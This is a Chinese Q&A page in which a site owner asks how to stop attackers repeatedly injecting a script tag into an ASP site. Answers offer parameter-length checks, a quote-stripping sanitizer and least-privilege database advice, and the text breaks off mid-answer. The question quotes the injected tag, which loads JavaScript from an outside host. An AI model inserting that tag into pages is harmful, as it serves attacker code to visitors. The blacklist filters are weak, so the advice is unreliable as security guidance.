怎么撤底解决ASP网站老被别人注入<script></script>

来源:百度知道 编辑:UC知道 时间:2024/06/23 18:05:00
最近公司ASP网站,有几个页面,隔两三就被别人注入这段代码<script language="javascript" src="http://ddv.sarl.tk/asd.js?s=201&col=ffdd00"></script>,是在最前面。我也试过网上那些什么加入防注码什么的,但是结果都一样。然后我只能通过恢复以前的数据,才能解决。但是总不好吧。因为我对ASP不是很了解,老板又要我彻底根除掉,哎。麻烦哪位大哥帮帮小弟我咯。如果能帮我彻底解决这个问题,小弟决不食言,给你200分~先奉上50分在这,如果帮我彻底解决这一问题,150分绝对帮你补上,骗你我是小狗。

在每个SQL语句那写SQL过滤。还有用SQL数据库。加上补丁,。把16位的密码转成32位。把网站上所有写入权限都关了

for each aaaaa in request.QueryString
if len(request(aaaaa))>40 then
'警告处理
response.end()
end if
next
以上是通过判断注入字符串的长度来执行的,因为你所说的这种注入现象很像是通过十六进制注入,十六进制注入的特点是注入字符串很长,所以可以用这种方法解决。
一般情况下,自己编写的程序,每个参数的字符长度不会很长,一般用20就足够了
把代码放在数据库连接文件的开始部分即可

str是你传递的值,或输出的值
function delScript(str)
str=replace(str,"""","")
str=replace(str,"'","")
str=replace(str,chr(10),"")
str=replace(str,chr(13),"")
str=replace(str,")",")")
str=replace(str,"(","(")
str=replace(str,"script","",1,-1,vbTextCompare)

delScript=str
end function

1.不要使用sa用户连接数据库

2、新建一个public权限数据库用户,并用这个用户访问数据库

3、去掉角色public对sysobjects与syscolumns对象的select访问权限

4、通过以下代码检测(失败表示权限正确):

DEC